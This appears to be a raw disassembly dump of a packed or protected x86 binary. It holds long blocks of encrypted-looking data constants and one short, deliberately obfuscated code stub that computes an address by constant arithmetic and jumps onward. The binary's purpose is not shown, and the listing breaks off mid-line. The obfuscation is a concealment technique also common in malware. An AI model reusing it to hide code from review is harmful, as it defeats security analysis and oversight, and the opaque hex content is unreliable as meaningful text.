0E3FF12FAh dd 31000005h, 0BA0F5D62h, 29BCD0D9h, 5B2EA247h, 0CB5E32B3h dd 65CF9D26h, 0E60BECBAh, 7A7B1FE2h, 0C8F18316h, 595E3184h dd 1C2C6A0Bh, 71085083h, 2AB437F9h, 6104A243h, 0F9916F94h dd 0B6F29C3Fh, 23C39853h, 0A84D2045h, 0E2008B24h, 0AA4F21C4h dd 8FC9A722h, 1143E5BBh, 0C13C475h, 22C35717h, 869A3FAAh dd 6A4B21CFh, 0EC10C3FFh, 0AD784D1Fh, 4800A94Bh, 3CD3B61Dh dd 38B4D1BBh, 7207E650h, 0EE4A1F49h, 0B5A41DEh, 5A2BCF71h dd 0D24BDFB5h, 2E710B5Ah, 0E3BC2CBBh, 0FD986A09h, 6119E49Ch dd 0B6850C9h, 4339AC71h, 374D2B7Fh, 6C9369C6h, 70FD96B2h dd 673D710Bh, 3CE602C3h, 5DDB8E81h, 207Fh, 85F0F800h, 4DFF4B67h dd 0C37511FFh, 2FAC7414h, 0FD710BDFh, 0FF051347h, 0F8936A40h dd 0BAh, 0A2432A7Bh, 9B2472Ah, 6234D95Fh, 0DE5A0F59h, 89C3E48Bh dd 0C0545124h, 0EC3C503Fh, 770EEDFEh, 0DDE28A5Bh, 0F62DE8Bh dd 0BC014768h, 0F3B4D4D9h, 0FC4C6A88h, 75120ACEh, 0BCCB994Ch dd 77462BD1h, 2AA94E58h, 0AB369D65h, 0C1263B0Fh, 77E26F08h dd 63C7813Bh, 7708A0EAh, 40258356h, 9821F2AFh, 93C495F0h dd 4D8D142Ch, 0BE03412Ch, 0AC91D0D9h, 2DE6D484h, 488805Dh dd 0BD5C0000h, 34C15438h, 0A274D98Fh, 0EE64B19h, 8116FBE9h dd 5F9E1478h, 0F5D660Bh, 0B3D1D6BAh, 21A74C2Eh, 5034B95Ch dd 28A18901h, 9471084Fh, 452A07E4h, 9F6E28BCh, 0F194F4FDh dd 7E7F167Bh, 85F0696Ah, 0FC914B67h, 0D1D9B1Ch, 7511FF7Bh dd 0DA626AF1h, 710BDF3Dh, 170155CBh, 936A410Dh, 0D1CAh dd 6C017500h, 60656788h, 0E90EE184h, 747D12FFh, 0EDDECC14h dd 7D10770Eh, 0DBAA1478h, 50C96133h, 0AC770EEDh, 7C3A5239h dd 0EED33ACh, 77C28977h, 6E7E8310h, 5E8FD7Bh, 0B4DFE8E0h dd 0C4842DCEh, 0AC7C3A81h, 75120A9Eh, 9D1B491Ch, 0C98324C8h dd 8126C99Ch, 992682C7h, 0FCB6F0EEh, 8B618669h, 96B8DA3h dd 0D2A40B6Fh, 5F2ABF29h, 4AD4223h, 971CFD40h, 0D44E65DCh dd 7D9078E6h, 3A6h, 4A1E9F72h, 0FFED16E7h, 697F846Ah, 99CFF084h dd 0A5E6334h, 48297DB8h, 0B8582DA3h, 2ECC5137h, 9B72C785h dd 6B2F761Ah, 84E46DFh, 690ABA71h, 28BC452Ah, 4ADEB245h dd 770EF0D1h, 616B8C63h, 0D3BE2D64h, 9E1FF697h, 3DD04E22h dd 5633555Ah, 432A59DAh, 8F6104A2h, 0EFF9FE92h, 98786FFAh dd 6CF19917h, 59606489h, 0A273126Fh, 0F0E57ECAh, 8C5B770Eh dd 4622A721h, 56108EF9h, 12091CF2h, 0E743FD75h, 710BC16Eh dd 88A907D2h, 6186A6DDh, 49CD18B4h, 2206A03Eh, 0D2DBC714h dd 0F89BD782h, 729CB90Bh, 0EB10E1ABh, 0BFC8A01Ch, 0F598D6D4h dd 9BCE9E23h, 96C7631Dh, 0AD0D789h, 0AB42235Fh, 0F09821F2h dd 0F75A0E95h, 4BE49F20h, 8E44E1E4h, 2D063FEh, 75040000h dd 0EC891C70h, 5A3C81C7h, 0C6AE3351h, 39DEA321h, 0A756DCB0h dd 0F7951EF3h, 7B698E62h, 0E9FF0496h, 184C7104h, 70E94179h dd 0CC71084Dh, 6C01BF3Ch, 0FB8E6A8Fh, 3FF99314h, 0A626C7AEh dd 0F0BF58F0h, 0AE3D770Eh, 700EBEC3h, 0D91E926Bh, 0BA9D463h dd 4DDDB6Fh, 8C5B7511h, 35BDB1D8h, 0CB2A664Ah, 4D9C6E47h dd 4507ACh, 0D6902EB5h, 0E25E5F37h, 0EAA14CAh, 573F926Fh dd 802CA585h, 0C590770Eh, 0EC7B6E7Eh, 0CB5F19D1h, 770E8052h dd 6DBD3BAEh, 0EA845B7Ch, 0BA8E5B26h, 0BA80D221h, 457DC89Fh dd 83EB1FE5h, 1E4E1DB8h, 0E6801E69h, 0F7EE6B2Ch, 66265D17h dd 0C871A28Ah, 0B82FBA7Fh, 67886FFEh, 2D90884Bh, 56EA2F1h dd 9F76DBAFh, 5BF0671Eh, 75155A59h, 1F598h, 0AF502300h dd 22C75439h, 8C35DBAEh, 1CA175D8h, 0EF14E548h, 9ECC0BF9h dd 99CF0F9h, 0BD004469h, 23B6DADFh, 9C25AB4Ch, 4C950E1Ah dd 59EB7108h, 68432A9Ah, 798A9E79h, 0DA53032h, 4EA9778h dd 0F49410FFh, 24CDA342h, 0FC4B21A4h, 0F3571391h, 75111689h dd 5D6C60F7h, 1F9DE86Ah, 5BEFA963h, 710AF8C2h, 0FDCDAB3Eh dd 6F0E1127h, 7F3B76E5h, 801D0AEEh, 0E974117Bh, 12E7EAFFh dd 0EEAFFE9h, 0E075C53Eh, 0FCA2EDEEh, 68E1491Fh, 0D4BE1CB5h dd 4FD2BA01h, 0D0BF0AABh, 0CECCB296h, 38CDBC1Fh, 0F8D95758h dd 28BD7B6Dh, 37B85845h, 0CFA520A8h, 0DB971560h, 0DD900921h dd 79ECB81Dh, 3465C583h, 8FB61BCBh, 594458CCh, 0A50377E8h dd 2C6B138Ch, 0D78DF4FAh, 0B85F2E48h, 388728CFh, 0E708EF7Eh dd 0FD906509h, 4B5CB9F8h, 0ED7D5E25h, 10570h, 0BF40D300h dd 32B74429h, 9C25CB5Eh, 6C9165C8h, 0FF049578h, 8EDC1BE9h dd 398CC0E9h, 0AD305459h, 0D3A62ACFh, 8CD5BB3Ch, 4CA53E0Ah dd 691B7108h, 0E347018Ah, 770EF06Ah, 0C0A503D6h, 189D702Dh dd 0DE8E1570h, 0A6C0DEA9h, 727719ECh, 0C2E3B71Ah, 0D3D1F977h dd 617511EDh, 0ED880129h, 61F4710Bh, 0CEB9F69Ah, 9DC96D0h dd 0A4094368h, 0EA462DD6h, 0A7434C2h, 7B37A26Fh, 0ECFC05EAh dd 14B7001h, 6B03F944h, 9ACEEF86h, 0D5F6037h, 5F8FBDE5h dd 0E1350B5Eh, 8921C6A9h, 9C3515CFh, 0E04DA39Bh, 9BBA5375h dd 53064DA3h, 492CB1D5h, 904A477h, 1E5D556Dh, 0A3AA950Eh dd 917CEB4Dh, 0AE826AF7h, 0A3AB019Ah, 1DE87F4Dh, 0F82C004Bh dd 0DE77D38Dh, 224DA3AAh, 0C15439B7h, 0DE3823Ch, 0BE1E4E4h dd 2FB9267h, 90F8476Ch, 197Dh, 0BE924500h, 46EA1316h, 1B83BB1h dd 0F06AE347h, 0F49A770Eh, 0AB01D4CFh, 472AF4EFh, 0B45B26A6h dd 26F45933h, 9266CB9Dh, 1967B6Dh, 6C0D90F8h, 0D4B80547h dd 42D4B9D3h, 0B1422FB9h, 530B4008h, 0C381E389h, 4, 3304EB83h dd 1C31241Ch dd 241C3324h db 5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi push 5BC8h mov [esp], edx push ebx push eax mov eax, 151A1918h inc eax sub eax, 618F3A91h not eax or eax, 332468F2h add eax, 8315A61Bh mov ebx, eax pop eax mov esi, 37B8976h add esi, ebx pop ebx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edx push ebp mov ebp, esi mov [edx+8], ebp mov ebp, [esp] add esp, 4 push dword ptr [esp] pop edx add esp, 4 push dword ptr [esp] pop esi add esp, 4 jmp loc_5439D9 ; --------------------------------------------------------------------------- db 0E8h, 0E6h, 0A9h dd 57F987A1h, 0A623B8B2h, 0C5030606h, 851CE0FFh, 323F65F1h dd 0D046129Dh, 0F4473D3h, 0CF4A3083h, 0E53243EDh, 0E81575Bh dd 1A063F0Bh, 149F3878h, 9B2D1504h, 0E84830D6h, 0F4E53813h dd 0AA623028h, 0F0EF2892h, 2E880A6Dh, 9E4F0FC7h, 7ABC4F64h dd 0EE035C3Fh, 25472D59h, 3C92499Eh, 18B7036Eh, 807E5502h dd 44B717E1h, 847A50CFh, 97F003A1h, 39EB0E2Fh, 0BF0000h dd 0BF02CCh, 0BF02E4h, 0 dd 468DA266h, 7794AE4Eh, 2385A6EDh, 4E8EA235h, 4F84E54Ch dd 77AECBFCh, 23AC870Ch, 53AFBF6Ah, 4BB4A577h, 4781AE7Bh dd 238AAB84h, 23E32314h, 7DC0CB21h, 57699553h, 6761CF6Ch dd 23F6CF00h, 75A6CB12h, 2B002BCAh, 238A0B0Fh, 23E32315h dd 7CC0CB21h, 5F699453h, 6761CF6Ch, 23F5CF00h, 74A7CB12h dd 45B69DCAh, 7F791105h, 33D976C1h, 56E0CD22h, 3E5D4899h dd 23E6C859h, 70B0D250h, 9A580B99h, 0AAE0CB0Dh, 20F7BE01h dd 0B27D4644h, 0DCE6CE91h, 0A0B89043h, 20F1D6F5h, 3494CB22h dd 9A589842h, 0AAE0CB0Dh, 20F7BE01h, 0A37D4644h, 0DCE6CE8Ch dd 0A8B89043h, 20C296C5h, 70E0A122h, 23E0C8FAh, 0E0BBEB09h dd 7BC42DFh, 7A44A46h, 23E0D025h, 0E0B38890h, 0B3CFEB9Fh dd 6BCC8EA4h, 23E0491Dh, 0E36BCB09h, 23E14E8Bh, 0E518CB42h dd 20CFF2A4h, 0A6C99D96h, 25E3D435h, 13D57EADh, 788CD11h dd 0CBD1A4FDh, 23E0CB88h, 209EA0DFh, 3147FBA8h, 0D4D41478h dd 7933402Eh, 0DC4CFA5h, 498BF3D6h, 20089C09h, 3E0CB84h dd 0AABF081Dh, 0A2E4EF5Dh, 37E4EFD4h, 64E0CB48h, 0CA380873h dd 23E0CB1Dh, 6DA692CBh, 0FB6741E6h, 0D0846A36h, 0DC030709h dd 20C80225h, 73E0A14Eh, 23E0C8CCh, 0E0B8EB12h, 7A44251h dd 7A44A80h, 23E0DF46h, 0E0B08B21h, 825542ECh, 0AEE6C852h dd 259377A1h, 76E0A114h, 23E0C8E1h, 0E0BDEB84h, 78C421Fh dd 7A44A25h, 23E0D694h, 0E0B58E48h, 439BC688h, 46FE8518h dd 0F31F913Eh, 0CBB2CBEEh, 23E0CB41h, 79239101h, 27C49F19h dd 27C48FC9h, 23E0CB3Fh, 27239950h, 4CC16815h, 0A8911CA4h dd 20EBEEFFh, 8A55E227h, 49E6C8BCh, 72E0A14Ch, 23E0C8CCh dd 0E0B9EB12h, 7AC4250h, 7A44A80h, 23E0D046h, 0E0B18A21h dd 31F011FAh, 44FB6E23h, 0DE654244h, 2CE6C80Dh, 23E0CD8Eh dd 27D4284h, 42E6C861h, 0B195EC49h, 23F0236Fh, 7BBACB48h dd 29FC56BAh, 0F78576F0h, 4BFD3652h, 0A2BE0DA5h, 0B939EF46h dd 238ACB4Ch, 23E323C5h, 7EC0CB48h, 4F6996E7h, 6761CF36h dd 23FBCF2Dh, 76A5CB84h, 0B6316981h, 389FD303h, 0ECE7501h dd 2708D8E7h, 0CFE0CB24h, 0CAE0CB10h, 23E0CB1Bh, 2E2A00EAh dd 0D3E52FFBh, 0D488A81Dh, 0B264A18Dh, 73B07896h, 247D7476h dd 12EF957Fh, 676B9353h, 2C80CFA0h, 23E0CBCAh, 423A4021h dd 0A2EFCB1Bh, 23E0CB4Eh, 0AA59AD76h, 676992AEh, 73B3CF2Dh dd 0E96BADD6h, 9D86FA4Dh, 7BBAAC93h, 2B0993CAh, 88E0CB48h dd 70AA0CB9h, 498446E6h, 0F65EAD09h, 2C303450h, 23E0DDC1h dd 3367C421h, 0CBE0CB90h, 23E0CB42h, 725E7B8Ch, 0F76FCAFDh dd 0AABABDECh, 2547E301h, 165D4044h, 0A8E6C809h, 212CCE68h dd 0A669CB48h, 25E66C08h, 0AAF80B91h, 2547FB8Ch, 9A20F882h dd 23E0C9AEh, 0C86A61D2h, 23E3449Fh, 0A886CB48h, 1A650DEEh dd 60E6C83Dh, 0CBB2CB63h, 23E0CB87h, 79239162h, 27C49FA8h dd 27C48F11h, 23E0CB5Ch, 84239966h, 39415E9Bh, 2708CD0Ah dd 7DE0CB84h, 457CAC29h, 0A8B001AAh, 43E4EFD4h, 310935C2h dd 0B6E0CB24h, 0E2877F4h, 986D1E02h, 5F13B30Dh, 29CC543Dh dd 236BAAB3h, 0A88699C0h, 0CAD1C49Eh, 23E0CB37h, 4D68C339h dd 6A5D5571h, 0F8BB01C5h, 48012119h, 7955A023h, 7A442C8h dd 23E5234Ch, 5145CB24h, 0A87F7C1Bh, 49B891C2h, 20089C84h dd 3E0CB42h, 0AABF087Eh, 0A2E4EFECh, 39E4EF0Ch, 64E0CB24h dd 0F6E30845h, 0E980F0BCh, 0EA553430h, 49E6C86Ah, 20089921h dd 3E0CB90h, 0AABA0812h, 0A2E4EF70h, 35E4EF56h, 61E0CB09h dd 0A4E308D6h, 0C961AD39h, 0A66D4F18h, 25E6B82Ch, 0CBB3CB22h dd 23E0CB27h, 78239032h, 27C49780h, 27C48F05h, 23E0CB57h dd 3C239862h, 0CA303423h, 23E0CB58h, 5EA69DD3h, 38BA2FDAh dd 397D6FEBh, 0ACB0D767h, 33F57649h, 0A669CD22h, 25E3D9ADh dd 23E64447h, 0F961CB24h, 26F7463Ch, 23654E84h, 9E6BCD87h dd 25E3C753h, 2F294EA8h, 94EFCD93h, 1A650D99h, 70E6C80Bh dd 0A8137C1Dh, 20F4C6BCh, 0ABACA382h, 2761748Dh, 0C2204705h dd 76E0A1ACh, 23E0C8A0h, 0E0BDEB24h, 78C424Fh, 7A44A0Dh dd 23E0D080h, 0E0B58E42h, 26F23966h, 0F7BC944Eh, 2B4D76C3h dd 961FCD27h, 25E3E3DBh, 0AE862689h, 25937701h, 75E0A144h dd 23E0C8C9h, 0E0BEEB90h, 7944216h, 7A44A20h, 23E0DD16h dd 0E0B68D09h, 0CA3C1837h, 23E0CB52h, 0B8169B2Ch, 1F634F5Ch dd 0EDE80A4Ch, 0AC4B2E07h, 238A1BEDh, 23E3235Bh, 79C0CB84h dd 77699181h, 6761CF05h, 23FBCFB4h, 71A2CB48h, 0BA2ED5E7h dd 1CB94641h, 23E522F4h, 7118CB84h, 0AA463769h, 20FF72A4h dd 9886AB96h, 2809ED3Ch, 0E4E0CB24h, 872D6E9Fh, 30BD0CFFh dd 0E581AD9Ch, 20CFF2C7h, 238A9827h, 23E323C6h, 7DC0CB48h dd 576995E7h, 6761CF36h, 23F5CF2Dh, 75A6CB84h, 0AA183081h dd 20C2069Ch, 23E42396h, 0E753CB48h, 9A5A133Ch, 73AF8B17h dd 0CBE17B69h, 23E0CB95h, 0F48EAADBh, 0B0D7FFBEh, 57CAE158h dd 201B4383h, 78BA9A10h, 7A44073h, 23EA230Dh, 0DF4FCB84h dd 0D7204388h, 0DEABADD9h, 0D26BADC0h, 236B9512h, 27C48FADh dd 23E0C3FAh, 16D1FB09h, 5971A329h, 2CB89448h, 505F0096h dd 0DCC9B9A3h, 20C802FDh, 71E0A122h, 23E0C8FAh, 0E0BAEB09h dd 7B442DEh, 7A44A46h, 23E0DC25h, 0E0B28990h, 4DA6B22Fh dd 0A66D05AFh, 25E6B8AEh, 23E0D8E0h, 12EDF984h, 1C7FC38Ah dd 481938C2h, 0F0BFF06Ah, 3F302180h, 0A8861BDBh, 266542EAh dd 0CBE6C827h, 23E0CB88h, 0C90AB133h, 980A7E5Bh, 7F07300Ch dd 30E556C1h, 0E5BFCD27h, 20CFF297h, 0F26B8C0Fh, 23E0CF6Ch dd 0FD3D6242h, 0A8809B96h, 2D09AB57h, 0B8E0CB48h, 4A3F380Dh dd 61F43A95h, 23171E9Ch, 0A881AA17h, 43E4EF06h, 23E0D9C9h dd 42018B90h, 0B1F1D92Eh, 0B89017B5h, 0D5586EA4h, 45CF0EBAh dd 70BA3C0Fh, 23E0CDAAh, 0B64D1B21h, 7AB9E686h, 236BAA17h dd 517A619Eh, 7A44214h, 2CB29B0Dh, 23E0DB0Eh, 23EB2242h dd 0A3B4CB21h, 0EA487FC9h, 5BFFC91Fh, 0CAD1C49Dh, 23E0CB02h dd 0B0EB089Bh, 415A83D8h, 0F7CB41BCh, 0D2FE0990h, 2CB893CAh dd 961F3DFFh, 25E3E3EDh, 23E0C2FBh, 17472909h, 4824801Bh dd 0A66D07A5h, 25E6B89Dh, 0CBB2CBFAh, 23E0CB4Bh, 79239104h dd 27C49F9Bh, 27C48F88h, 23E0CB9Ch, 70239900h, 0DFC2DAA3h dd 4533749Fh, 0F31F31C3h, 0CBB1CB4Eh, 23E0CB11h, 7A239229h dd 27C4870Dh, 27C48FC3h, 23E0CB3Bh, 29239AD1h, 0A68CA33Ah dd 0AED18EDDh, 25E3E533h, 0AA1F7406h, 20E4FA01h, 0A6263244h dd 25E3E418h, 72E0A1D7h, 23E0C8A0h, 0E0B9EB24h, 7AC424Bh dd 7A44A0Dh, 23E0D780h, 0E0B18A42h, 3D848DFEh, 16CFE033h dd 23F42273h, 0F6EFCB24h, 0B6D6C38Bh, 0EF881968h, 67E41A27h dd 0C312B622h, 3288B90Bh, 0CAD366C4h, 23E0CB5Bh, 8CCA5D0h dd 77085A14h, 1ED2A50Bh, 5C26F0E7h, 0A20654BBh, 9F89EF25h dd 238A85BEh, 23E3231Dh, 7EC0CB24h, 4F6996D1h, 6761CF2Dh dd 23F5CFA0h, 76A5CB42h, 0DC0E3BE2h, 20C80225h, 72E0A14Eh dd 23E0C8CCh, 0E0B9EB12h, 7AC4250h, 7A44A80h, 23E0DC46h dd 0E0B18A21h, 0EF352338h, 2B194EC1h, 0A66DCD27h, 25E6B8AEh dd 0CBB1CB63h, 23E0CB87h, 7A239262h, 27C487A8h, 27C48F11h dd 23E0CB53h, 65239A65h dd 7A0A4898h, 43F580D7h, 3FA5460Fh, 0A8EFCD41h, 23E0CB24h dd 2021D82Fh, 3208AA40h, 0F6E0CB24h, 9B4C1F2Ah, 0DA1E081Eh dd 515DFACCh, 747BE433h, 4930347Eh, 20089D90h, 3E0CB48h dd 0AABE087Ah, 0A2E4EF66h, 3AE4EF4Dh, 65E0CB84h, 6FF0814h dd 244F7D74h, 7654619h, 0A669CD4Bh, 25E3C859h, 0CBB6CB78h dd 23E0CB0Ah, 7D2395A4h, 27C4BFCBh, 27C48FA0h, 23E0CB87h dd 0A5239D0Eh, 0A85DF147h, 20D12A9Fh, 1A650D0Fh, 64E6C8ABh dd 0CDD7ECBh, 2A08CD22h, 7CE0CB90h, 0E8074BAAh, 0DED85F99h dd 23E0C3FAh, 0E41F5609h, 0DC458C18h, 2368C45Dh, 7CE0CB21h dd 0D2C7A3C9h, 0AAEF6E57h, 23E0CB38h, 23F42344h, 493CB09h dd 0F73F030Ah, 6B5747B7h, 0F105EAEh, 13D5C955h, 7CBE94FBh dd 59C4FFA5h, 49EF19DFh, 20089909h, 3E0CB84h, 0AABA0818h dd 0A2E4EF75h, 39E4EFD4h, 61E0CB48h, 0C4330876h, 0DE2A50F6h dd 45164A7Fh, 0DCC4837Fh, 20C802F7h, 0F65AAD27h, 9F654683h dd 43E6CD3Bh, 3CA54E2Dh, 0DC81CD11h, 0AA2E40D9h, 20E4DA01h dd 23EF2244h, 9EDCCB21h, 0F2C61CBFh, 5639CAD9h, 0CD4D400Ah dd 0A23034EBh, 74974D8h, 0AE6542AEh, 43E6C850h, 23E0C0C9h dd 0F877B290h, 0E317DE4Fh, 0DE5BDAE9h, 2563C44Ah, 0A8E0CB09h dd 20FFB601h, 0AF86AA44h, 76E0A1F9h, 23E0C878h, 0E0BDEB48h dd 78C4279h, 7A44A16h, 23E0DC0Dh, 0E0B58E84h, 972AAB79h dd 27C439AAh, 23E0489Fh, 0E3EACB48h, 210E4F2Bh, 238ACB12h dd 23E3235Ah, 78C0CB84h, 7F699081h, 6761CF05h, 23F6CFB4h dd 70A3CB48h, 12C508E7h, 0CD94ED4h, 0A8AFCD0Ah, 20AEA37Eh dd 0ABEF35F9h, 23E0CB39h, 23E0C778h, 47616B48h, 164CB4F7h dd 1306A8h, 2CB29BB1h, 7CB891B5h, 0A9C4FFC3h, 49A1F04Eh dd 20089E90h, 3E0CB48h, 0AABD0879h, 0A2E4EF7Eh, 3BE4EF4Dh dd 66E0CB84h, 8FB80817h, 0A812D41Dh, 20F7FE05h, 0EA55344Eh dd 49E6C80Ch, 20089B12h, 3E0CB09h, 0AAB808DCh, 0A2E4EF06h dd 36E4EF65h, 63E0CB90h, 66500818h, 0EF2A4A42h, 9F65462Eh dd 49E6CD7Ah, 20089A84h, 3E0CB42h, 0AAB90878h, 0A2E4EFDCh dd 39E4EF0Ch, 62E0CB24h, 0FB180843h, 0B9E55D56h, 2D099B6Eh dd 9AE0CB42h, 1D37FC79h, 0DD53EAEFh, 74697B21h, 0F31F91E6h dd 49C40B91h, 20089D09h, 3E0CB84h, 0AABE081Ch, 0A2E4EF55h dd 3BE4EFD4h, 65E0CB48h, 0E9200872h, 0CBFD0606h, 23E0CB1Dh dd 4CC68652h, 4E2445Dh, 4D0E03C6h, 0EF552716h, 42F9056h dd 7D1E742Bh, 37E54E9Bh, 238ACD0Ah, 23E323D5h, 7AC0CB42h dd 6F6992E2h, 6761CFB4h, 23F4CF6Ch, 72A1CB24h, 92520BD1h dd 316D4E82h, 0AD5ACD87h, 0A8FC43CEh, 20E4DABCh, 60B07A96h dd 2C995679h, 386BCD27h, 8C6BEDACh, 0A3EF9B41h, 23E0CB82h dd 13A412C3h, 0A8BEFA30h, 4537408Bh, 867611C9h, 0A286D0AFh dd 1011FFF4h, 0A25542D1h, 0CAE6C8A0h, 23E0CB53h, 73C4EC0h dd 9AE9E764h, 0D397D750h, 0F273C57Ah, 5A7D4286h, 49E6C815h dd 20089A84h, 3E0CB42h, 0AAB90878h, 0A2E4EFDCh, 36E4EF0Ch dd 62E0CB24h, 2B370843h, 0E52B406Fh, 20CFF201h, 238A8C44h dd 23E32371h, 7BC0CB90h, 6769938Bh, 6761CF00h, 23F9CF36h dd 73A0CB09h, 8D31A647h, 0A83450DCh, 0A37CA3D8h, 71B02EACh dd 0E1E4712Eh, 2408FA2Bh, 8DE0CB12h, 336DA320h, 9C865D6Bh dd 79BF5BF8h, 7D44A79h, 710296A5h, 0CBB1CB22h, 23E0CB27h dd 7A239232h, 27C48780h, 27C48F05h, 23E0CB5Ah, 0AB239A60h dd 0BF0B06B2h, 0B297EB7h, 0B66BCD27h, 25E3F99Bh, 505C4E84h dd 0AEE1CD82h, 25E3FAA3h, 9ECB1BDEh, 25E3C37Dh, 27D14EC1h dd 9D86CD27h, 45A08002h, 0A84812B7h, 73E0A184h, 23E0C8AAh dd 0E0B8EB21h, 7A442C8h, 7A44A4Ch, 23E0D720h, 0E0B08B12h dd 0F4A8A490h, 6BAF1F4Dh, 0BA5DE075h, 45E6C82Eh, 0A8391B2Eh dd 426D4248h, 0AAE6C80Eh, 20F08E97h, 23E8220Fh, 2E82CB84h dd 0A3FFD123h, 4F09585Bh, 49E0CB91h, 20089E48h, 3E0CB24h dd 0AABD084Fh, 0A2E4EF65h, 36E4EFC0h, 66E0CB42h, 87D30874h dd 23E0DB78h, 566C5848h, 2DC40527h, 6344ECABh, 0FAE554A7h dd 0AE6D4075h, 79E6C852h, 84AE4EACh, 0B669CD96h, 25E3D45Dh dd 23EC2374h, 0AD01CB12h, 0DB50B9ABh, 560F4E36h, 9C86FAA6h dd 0AAB94727h, 0A1EFEF94h, 23E0CB40h, 23E24C2Bh, 79B2CB12h dd 38E95EF6h, 0ADEFCD87h, 23E0CB42h, 84B456ACh, 238ACD96h dd 23E3231Bh, 78C0CB24h, 7F6990D1h, 6761CF2Dh, 23FDCFA0h dd 70A3CB42h, 0BA4985E2h, 5D53BE4h, 0B022BD4Fh, 23E9432Bh dd 0A7EFCB12h, 23E0CB0Ah, 732B40E2h, 23E0DBABh, 8D03C721h dd 0DE695E8h, 8CFC7B5Eh, 0CBFDB6A9h, 238A58E2h, 23E3235Ch dd 7EC0CB84h, 4F699681h, 6761CF05h, 23FACFB4h, 76A5CB48h dd 528846E7h, 2B8B7C37h, 0C4114A6Fh, 9B805BD1h, 45B9386Ch dd 23E6452Eh, 71B0CB90h, 7BBAFA47h, 0A2EF9B45h, 23E0CB16h dd 7912405Eh, 72E0A114h, 23E0C8AAh, 0E0B9EB21h, 7AC42C9h dd 7A44A4Ch, 23E0D620h, 0E0B18A12h, 5195BEBFh, 0DE40F83Dh dd 0B61FFE86h, 25E3E254h, 0CBB0CBFAh, 23E0CB4Bh, 7B239304h dd 27C48F9Bh, 27C48F88h, 23E0CB9Dh, 74239B02h, 0EE9B531Dh dd 0AA017DBAh, 20F4CECDh, 7B114A22h, 0E5D7FA08h, 20CFF28Ch dd 99869882h, 0A2869B38h, 4BA90ECFh, 0B1991DDFh, 27611AFAh dd 2E4EFB00h, 75E0A10Ah, 23E0C8E1h, 0E0BEEB84h, 794421Ch dd 7A44A25h, 23E0D194h, 0E0B68D48h, 0A6DFBAC6h, 0A84320F8h dd 20D292BCh, 0EA553482h, 49E6C86Ah, 20089B21h, 3E0CB90h dd 0AAB80810h, 0A2E4EF60h, 3BE4EF56h, 63E0CB09h, 358E08D4h dd 43B26CB2h, 4A5D4241h, 2AE6C8B0h, 20CCAEFDh, 0A886AA22h dd 0A66DAAEAh, 25E6B8B5h, 259760Fh, 0F31FCD41h, 44F37147h dd 3F514E19h, 0A286CD4Bh, 0E59156C5h, 20CFF297h, 0A8808C0Fh dd 20E9C219h, 927D4044h, 42E6C80Bh, 0CA394AF6h, 7FEA344h dd 0A7EF576Ch, 23E0CB19h, 0E16BAD69h, 12EF99D4h, 0A2819318h dd 126EEF15h, 238AF6AAh, 23E3231Bh, 78C0CB24h, 7F6990D1h dd 6761CF2Dh, 23F8CFA0h, 70A3CB42h, 0FE5A6EE2h, 330910A9h dd 0A9E0CB48h, 0C6134452h, 3898AAA9h, 0AC6F09C1h, 0A8722176h dd 20D252FFh, 0EA553427h, 2CE6C8B8h, 23E0C7C9h, 23E72224h dd 0EABCCB12h, 4B89CDBAh, 9F654649h, 49E6CD31h, 20089B21h dd 3E0CB90h, 0AAB80810h, 0A2E4EF60h, 37E4EF56h, 63E0CB09h dd 0DC5408D4h, 0F961AD92h, 0A6696469h, 25E3E489h, 0E533402Eh dd 20CFF2A1h, 26099814h, 0D5E0CB09h, 6326794Fh, 880C9F2Ah dd 0A2F67E0Dh, 50DCEF94h, 0CD61A7C5h, 2401DA4Eh, 1A222C93h dd 961FB970h, 25E3E34Dh, 0CBB7CB28h, 23E0CB22h, 7C2394B0h dd 27C4B7C1h, 27C48FA5h, 23E0CB07h, 20239C4Eh, 0CE7D4252h dd 0AEE6C861h, 259377A4h, 72E0A196h, 23E0C8A0h, 0E0B9EB24h dd 7AC424Bh, 7A44A0Dh, 23E0D280h, 0E0B18A42h, 0A3567795h dd 0F31F78FBh, 0CBB6CB22h, 23E0CB27h, 7D239532h, 27C4BF80h dd 27C48F05h, 23E0CB54h, 36239D67h, 9A867050h, 0A669FBCBh dd 25E3EDB5h, 0A626BDA0h, 25E3E430h, 23F222D3h, 45E3CB42h dd 31D7E67Dh, 23CBADC8h, 0FDD2C20Fh, 0B1B93D4Ah, 85BA97Ah dd 425EADA5h, 7D44A4Eh, 1FCF2226h, 0CBB1CB4Bh, 23E0CB93h dd 7A239268h, 27C487ADh dd 27C48F93h, 23E0CB11h, 61239AC5h, 9FFA273Fh, 0D6976AAh dd 961FCD93h, 25E3E381h, 0AEEF31AFh, 23E0CB11h, 0AE2B7C06h dd 25937701h, 23EA2244h, 0FC98CB21h, 12B316D4h, 64D7031Eh dd 0F31F3AAFh, 0CBB0CB78h, 23E0CB0Ah, 7B2393A4h, 27C48FCBh dd 27C48FA0h, 23E0CB8Ah, 0A2239B08h, 2A99BB4Eh, 32090B5Eh dd 27E0CB09h, 0F4E642F5h, 0F069AF85h, 618DADD3h, 0BC7A43A4h dd 3F54EC1h, 238ACD27h, 23E32344h, 7DC0CB09h, 57699547h dd 6761CF66h, 23F4CF05h, 75A6CB90h, 0AEE3308Bh, 25E3E2BDh dd 0CD94ED4h, 49A3CD0Ah, 20089E84h, 3E0CB42h, 0AABD087Ch dd 0A2E4EFFCh, 3AE4EF0Ch, 66E0CB24h, 0A86D0847h, 0C41D5E33h dd 23E6438Bh, 0B669CB42h, 25E3E37Ch, 38232EF8h, 0A21040C8h dd 8FA3EF20h, 25EF766h, 0DCA3231Fh, 20C80231h, 71E0A144h dd 23E0C8C9h, 0E0BAEB90h, 7B44212h, 7A44A20h, 23E0D716h dd 0E0B28909h, 6E7CDEEEh, 1988FB46h, 0F3024A75h, 45B75011h dd 0A66D18C3h, 25E6B898h, 0CBB1CB78h, 23E0CB0Ah, 7A2392A4h dd 27C487CBh, 27C48FA0h, 23E0CB85h, 6E239A09h, 23E8220Fh dd 0CD17CB12h, 0A1615D4Ah, 0F31FC7E3h, 0CBB5CB28h, 23E0CB22h dd 7E2396B0h, 27C4A7C1h, 27C48FA5h, 23E0CB0Fh, 38239E4Ch dd 841AB435h, 29EF059Eh, 325DF8D2h, 0AAE6C896h, 20FD92CDh dd 71E0A122h, 23E0C8FAh, 0E0BAEB09h, 7B442DEh, 7A44A46h dd 23E0D025h, 0E0B28990h, 8C50D482h, 0C89B8575h, 23E0C3FBh dd 0E880209h, 